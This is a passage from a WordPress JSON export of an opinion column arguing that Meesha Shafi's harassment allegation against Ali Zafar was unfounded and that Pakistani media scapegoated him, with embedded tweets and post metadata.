mockery of the law. Many thought this was a technicality and that this did not prove that any case of harassment took place or it did not. What many people miss out on is \u2013 Ms Shafi\u2019s lawyers were trying to portray Meesha as an employer so that courts would be more sympathetic to her case. It was simply a legal tactic employed which was written off by the court. The judgment also mentions that all the steps that one does in the case of harassment at the workplace were also not met or discussed by the employers (which in this case was Pepsi itself). The case wasn\u2019t dismissed on a mere technicality: the case was dismissed because there was no case at all.<\/p>\n\n\n\n<p><em>Lahore High Court Dismisses Case Against Ali Zafar: <a href=\"https:\/\/www.dawn.com\/news\/1510271%C2%A0\">https:\/\/www.dawn.com\/news\/1510271 <\/a><\/em><\/p>\n\n\n\n<p>To portray yourself as an employee when you are hired as an independent artist is indeed mockery of the law and it does indeed question your entire fight. Why would you accuse someone of being in a position of power over you when they are not? Moreover, multiple witnesses are testifying that they saw nothing untoward. And then, the very cherry on top, is that Ali Zafar does not shy away from coming to court.<\/p>\n\n\n\n<p>The defamation case is still in court and Ms Shafi\u2019s counsels continue to take adjournments after adjournments. Ms Shafi has also been fined for delaying tactics. In the recent hearing, she was not present as well, even though she was in Pakistan and was seen at an anti-rape rally and is reportedly here for an advertisement\/music shoot. All those things are important, as is fighting the case judicially. Unless the tactic is to let the case linger on for days and play on the public\u2019s reasonable doubt on Ali Zafar\u2019s career and character.<\/p>\n\n\n\n<p><strong>The Media Slant:<\/strong><\/p>\n\n\n\n<p>Meesha had made an allegation against Ali and it was up to courts to decide whether she was telling the truth or not \u2013 and no one has the right to shame her about her clothes, her behavior or even her choice to work with him. My only question is \u2013 would we now apply the same rule for Ali Zafar? Or does that mean I\u2019m not a good feminist if I continue labeling someone as a harasser \u2013 even when I do not know for sure if they are actually guilty of what is being alleged against them? Why must I support a false \u2013 or even a questionable accusation \u2013 to support the cause for women? If anything, false accusations and such questionable cases make the cause weaker and destroy the chances of actual victims who are struggling to get justice.<\/p>\n\n\n\n<p>Most journalists failed Ali Zafar because they latched on to the popular narrative: which was about supporting literally anyone who came forth with an accusation. This was the holy grail. You are either with them or against them: anyone questioning any statement is a victim-blamer and a rape apologist etc etc.<\/p>\n\n\n\n<p>Dawn Images\u2019 Editor at the time when Teefa was released was Hamna Zubair, who also happens to be in Meesha Shafi\u2019s witness list, who has also not come to court. Not even once.<\/p>\n\n\n\n<figure class=\"wp-block-embed-twitter wp-block-embed is-type-rich is-provider-twitter\"><div class=\"wp-block-embed__wrapper\">\n<blockquote class=\"twitter-tweet\" data-width=\"550\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">Many have asked me for my thoughts on <a href=\"https:\/\/twitter.com\/hashtag\/TeefaInTrouble?src=hash&ref_src=twsrc%5Etfw\">#TeefaInTrouble<\/a>.<br><br>One argument used to defend <a href=\"https:\/\/twitter.com\/hashtag\/AliZafar?src=hash&ref_src=twsrc%5Etfw\">#AliZafar<\/a> weaponises patriotism. It goes: if you don\u2019t support Teefa, you\u2019re bringing Pakistan\u2019s film industry down.<br><br>This is nonsensical. Read on to find out how. <a href=\"https:\/\/t.co\/cnS6zuPRm7\">https:\/\/t.co\/cnS6zuPRm7<\/a><\/p>— Hamna Zubair (@hamnazubair) <a href=\"https:\/\/twitter.com\/hamnazubair\/status\/1020290820103172096?ref_src=twsrc%5Etfw\">July 20, 2018<\/a><\/blockquote><script async src=\"https:\/\/platform.twitter.com\/widgets.js\" charset=\"utf-8\"><\/script>\n<\/div><\/figure>\n\n\n\n<p>But that\u2019s Pakistani liberal clan on social media for you \u2013 we have a set of agendas that we follow because we want to make sweeping statements. Then there\u2019s our magnificent tower of self-hate under which every Pakistani liberal\u2019s self-esteem is properly buried. And I\u2019m not even asking the Pakistani media or the self-proclaimed liberals to stand for murderers and rapists or dictators to get rid of their self-hate.<\/p>\n\n\n\n<p>All I\u2019m asking the social justice warriors to do \u2013 is self-reflect and think before they accuse someone of anything. So much so was the impact of the propaganda against Ali Zafar that I saw some account stating that Ali Zafar had sexually assaulted tens of women. This is how fake news travels: and as stated in The Social Dilemma, a fantastic documentary on Netflix, fake news travels six times faster than real news on Twitter.<\/p>\n\n\n\n<p>This is exactly what happened to Ali Zafar.<\/p>\n\n\n\n<p><strong>The Politics of This Case:<\/strong><\/p>\n\n\n\n<p>The leftist Pakistani media is prone to making false equivalences at the drop of a hat. Anyone who likes Ertugrul probably likes ISIS, if you are to believe Professor Hoodhboy. A soldier dying in battle asked for it, said another account known to spout misogynistic hate as well. Curiously, when you allege that a politician has done corruption, you will find almost all of the liberal media defending it and saying that because of mere allegations you cannot say anyone is corrupt. However, they will not extend the same courtesy to anyone they don\u2019t like \u2013 Ali Zafar, for instance, is a scapegoat for them again because they do not like PTI and it is within the PTI government that Ali Zafar was awarded.<\/p>\n\n\n\n<p>One of Meesha Shafi\u2019s witnesses is television actress and model Iffat Omar who delivered a \u2018funny\u2019 monologue on rape and chemical castration. In the same monologue, she chided about Imran Khan rewarding \u2018alleged harassers\u2019, completely forgetting that if allegations are not proof. And if we\u2019re really about to boycott harassers, Iffat herself has openly admitted to \u2018hugging Rahat Kazmi repeatedly in multiple takes\u2019 just because she liked him.<\/p>\n\n\n\n<p>The whole movement has a political angle hence. Ms Omar hailed PTI\u2019s opponents, Maryam Nawaz and Bilawal Bhutto Zardari, as icons in the political landscape and dissed Imran Khan because his government gave an award to Ali Zafar.<\/p>\n\n\n\n<figure class=\"wp-block-embed-twitter wp-block-embed is-type-rich is-provider-twitter\"><div class=\"wp-block-embed__wrapper\">\n<blockquote class=\"twitter-tweet\" data-width=\"550\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">This is pathetic! What the hell is wrong with her? Keeps coming up with disgusting content. Joking about such a serious issue. This is so gross! <a href=\"https:\/\/t.co\/wZD8elg2sw\">https:\/\/t.co\/wZD8elg2sw<\/a><\/p>— Saadia Afzaal (@SaadiaAfzaal) <a href=\"https:\/\/twitter.com\/SaadiaAfzaal\/status\/1306869571568181248?ref_src=twsrc%5Etfw\">September 18, 2020<\/a><\/blockquote><script async src=\"https:\/\/platform.twitter.com\/widgets.js\" charset=\"utf-8\"><\/script>\n<\/div><\/figure>\n\n\n\n<figure class=\"wp-block-embed-twitter wp-block-embed is-type-rich is-provider-twitter\"><div class=\"wp-block-embed__wrapper\">\n<blockquote class=\"twitter-tweet\" data-width=\"550\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">2. This is absurd, derogatory, shameful and very embarrassing content from Iffat Omar. Apart from very offensive language and poor selection of words against Prime Minister <a href=\"https:\/\/twitter.com\/ImranKhanPTI?ref_src=twsrc%5Etfw\">@ImranKhanPTI<\/a>, this was more of a propaganda campaign against <a href=\"https:\/\/twitter.com\/hashtag\/ImranKhan?src=hash&ref_src=twsrc%5Etfw\">#ImranKhan<\/a> & Election Campaign of <a href=\"https:\/\/twitter.com\/hashtag\/PPP?src=hash&ref_src=twsrc%5Etfw\">#PPP<\/a>! <a href=\"https:\/\/t.co\/NJ6GHMb1Iu\">pic.twitter.com\/NJ6GHMb1Iu<\/a><\/p>— \u0639\u0644\u06cc \u0642\u0627\u0636\u06cc (@aliqazi98) <a href=\"https:\/\/twitter.com\/aliqazi98\/status\/1306911932671287296?ref_src=twsrc%5Etfw\">September 18, 2020<\/a><\/blockquote><script async src=\"https:\/\/platform.twitter.com\/widgets.js\" charset=\"utf-8\"><\/script>\n<\/div><\/figure>\n\n\n\n<p>PTI\/Imran Khan aren\u2019t without their faults and the job of a responsible media should be to call them out on when they actually err: but so many mainstream journalists have reported irresponsibly when it comes to Khan himself. Imran Khan\u2019s billion tree Tsunami and his attempts on creating a good narrative going regarding protecting minorities as well as his strong stance on Kashmir have shown leadership qualities that should be appreciated. But to many, Khan is \u2018Taliban\u2019 Khan and is also a \u2018mullah\u2019 because he reads from a tasbeeh.<\/p>\n\n\n\n<figure class=\"wp-block-embed-twitter wp-block-embed is-type-rich is-provider-twitter\"><div class=\"wp-block-embed__wrapper\">\n<blockquote class=\"twitter-tweet\" data-width=\"550\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">This is why I think <a href=\"https:\/\/twitter.com\/AliZafarsays?ref_src=twsrc%5Etfw\">@AliZafarsays<\/a> has been targeted maliciously, criminally and in a disgusting, defamatory way. <br><br>(Information that I'm sharing here is on the public record and public documents.)<a href=\"https:\/\/twitter.com\/hashtag\/AliZafar?src=hash&ref_src=twsrc%5Etfw\">#AliZafar<\/a> <a href=\"https:\/\/twitter.com\/hashtag\/MeToo?src=hash&ref_src=twsrc%5Etfw\">#MeToo<\/a> <a href=\"https:\/\/twitter.com\/hashtag\/FalseAllegations?src=hash&ref_src=twsrc%5Etfw\">#FalseAllegations<\/a><\/p>— Mahwash Ajaz \ud83c\uddf5\ud83c\uddf0 (@mahwashajaz_) <a href=\"https:\/\/twitter.com\/mahwashajaz_\/status\/1286276321765662724?ref_src=twsrc%5Etfw\">July 23, 2020<\/a><\/blockquote><script async src=\"https:\/\/platform.twitter.com\/widgets.js\" charset=\"utf-8\"><\/script>\n<\/div><\/figure>\n\n\n\n<p>I\u2019ve always been the kind of person who has spoken up against injustice, even if it is by someone I support. If Ali Zafar has misspoken anywhere, I would say that that is wrong. If Meesha Shafi has leveled false allegations against Mr Zafar, I would say that is wrong. If Imran Khan has misbehaved with any supporter, I would say that is wrong. If Bilawal Bhutto has misbehaved with any supporter, I would call it wrong as well. And while we can\u2019t help party supporters only seeing one side of the story, as journalists or activists, we must stand for what is right. Unfortunately, the leftist media in Pakistan has made a scapegoat out of Ali Zafar the same way it has turned Imran Khan\u2019s government into its favorite joke.<\/p>\n\n\n\n<p><strong>Why Are We Not Talking About False Accusations?<\/strong><\/p>\n\n\n\n<p>Harassment is an age-old phenomenon and speaking up about it is also not new.<\/p>\n\n\n\n<p>Neither are false allegations.<\/p>\n\n\n\n<p>Concurrently, why are feminists afraid of owning up to the power of #MeToo? This allegation is powerful and it does ruin lives of people: those who are actually guilty must be taken to court and must be held accountable. But we cannot \u2018flatten stories in a hashtag\u2019 as many commentators have said about the movement. The hashtag has many stories and not all of them can be equated with each other.<\/p>\n\n\n\n<p>And that is why we must also penalize and hold accountable everyone who is \u2018using\u2019 this movement and this powerful hashtag to attack, malign and hate. #MeToo is being weaponized. Just recently filmmaker and outspoken critic of PM Modi\u2019s regime, Anurag Kashyap, was accused of sexual assault. Similarly, the late Sushant Singh Rajput was also slammed with a \u2018#MeToo\u2019 allegation.<\/p>\n\n\n\n<p>The same way Johnny Depp was constantly painted as an abuser\/wife-beater whereas as audiotapes and videos revealed that Amber Heard admitted to hitting him. Gary Oldman faced the ignominy when he won an Oscar and liberals\/feminists were disgusted because he had domestic violence allegations. Many days later, it was Oldman\u2019s son himself who stated the allegations are untrue. There are many people who have been facing these controversies since then. Justin Beiber and Cole Sprouse also had to defend themselves in the face of the allegations they faced via anonymous accounts. If you start going through what men have had to face over false allegations, the list is harrowing. Suicides, termination, mental and emotional distress.<\/p>\n\n\n\n<p>There has been a significant backlash of #MeToo in the United States where it was reported that men are now uncomfortable working with women because they are afraid of being alleged as harassers. How is this making the world a better place where men and women can\u2019t even work together professionally? This merely shows that #MeToo is a powerful movement and must not be, at any cost, allowed to ruin innocent men\u2019s lives because this isn\u2019t a war against one man or the men we don\u2019t know. This is a movement for social change that encourages women to speak up about their experiences and for men to learn and for abusers to be held accountable.<\/p>\n\n\n\n<p><a href=\"https:\/\/thebrownidentity.com\/2020\/09\/20\/10-pakistani-dramas-of-the-past-ten-years-that-we-think-imran-khan-should-watch\/\">10 PAKISTANI DRAMAS OF THE PAST TEN YEARS THAT WE THINK IMRAN KHAN SHOULD WATCH<\/a><\/p>\n\n\n\n<p><strong>The Opposite of Patriarchy is Not Misandry; the Opposite of Sexual Harassment is Not Scapegoating Innocent People!<\/strong><\/p>\n\n\n\n<p>The opposite of patriarchy is neither matriarchy nor misandry \u2013 what I strive for as a feminist, is a society that holds men and women equally responsible. For example, no one should be asking a woman who has been assaulted what she was wearing or if she incited the rapist to assault her.<\/p>\n\n\n\n<p>What I do want is that rapists, assaulters, abusers, molesters all face the strictest face of the law and are held accountable for the pain and the agony they cause upon their victims. I want a society where men are able to share their emotions without being called \u2018sissies\u2019 or being told they have to \u2018man up\u2019 to shed a tear. I want a society where men can also freely express their experiences of assault and abuse without shame and fear of losing their \u2018masculinity\u2019. The war is against apathy, indifference and hate. The war is for speaking the truth, even if it is uncomfortable or unpopular.<\/p>\n\n\n\n<p>The war is not for every woman to be a part of a clique of mean girls but to empower women to speak up, hold abusers responsible then and there and create support systems for such women. Due to the sensitive and secretive nature of the assault, sexual abuse matters continue to go unreported: this is what we must all fight. There is no shame in speaking up and talking about abuse. And there is no shame in surviving abuse.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>By: MAHWASH AJAZ What does it mean to be a feminist? What does it mean to \u2013 believe women or support women \u2013 when any woman comes up with an allegation that \u2018xyz\u2019 harassed me? Not only harassment is a prevalent fact, false allegations are extremely rare. Because why would any woman come forth with […]<\/p>\n","protected":false},"author":4,"featured_media":14692,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_exactmetrics_skip_tracking":false,"_exactmetrics_sitenote_active":false,"_exactmetrics_sitenote_note":"","_exactmetrics_sitenote_category":0,"footnotes":"","_jetpack_memberships_contains_paid_content":false},"categories":[37],"tags":[8619,924,8617],"jetpack_sharing_enabled":true,"jetpack_featured_media_url":"https:\/\/concepttvnews.com\/wp-content\/uploads\/2020\/12\/WhatsApp-Image-2020-12-07-at-4.41.56-PM-1.jpeg","_links":{"self":[{"href":"https:\/\/concepttvnews.com\/index.php?rest_route=\/wp\/v2\/posts\/14683"}],"collection":[{"href":"https:\/\/concepttvnews.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/concepttvnews.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/concepttvnews.com\/index.php?rest_route=\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"https:\/\/concepttvnews.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=14683"}],"version-history":[{"count":5,"href":"https:\/\/concepttvnews.com\/index.php?rest_route=\/wp\/v2\/posts\/14683\/revisions"}],"predecessor-version":[{"id":14702,"href":"https:\/\/concepttvnews.com\/index.php?rest_route=\/wp\/v2\/posts\/14683\/revisions\/14702"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/concepttvnews.com\/index.php?rest_route=\/wp\/v2\/media\/14692"}],"wp:attachment":[{"href":"https:\/\/concepttvnews.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=14683"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/concepttvnews.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=14683"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/concepttvnews.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=14683"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}